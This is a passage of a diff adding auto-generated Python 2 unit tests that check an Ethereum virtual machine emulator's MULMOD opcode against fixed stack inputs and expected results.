+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_613(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_614(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_615(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_MULMOD_616(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_617(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_618(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_MULMOD_619(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_MULMOD_620(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_621(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_622(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_623(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_624(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_MULMOD_625(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_626(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_627(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_MULMOD_628(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_MULMOD_629(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_630(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_631(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_632(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_633(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_634(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_635(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_636(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_637(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_638(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_639(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_640(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_641(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_642(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_643(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_644(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
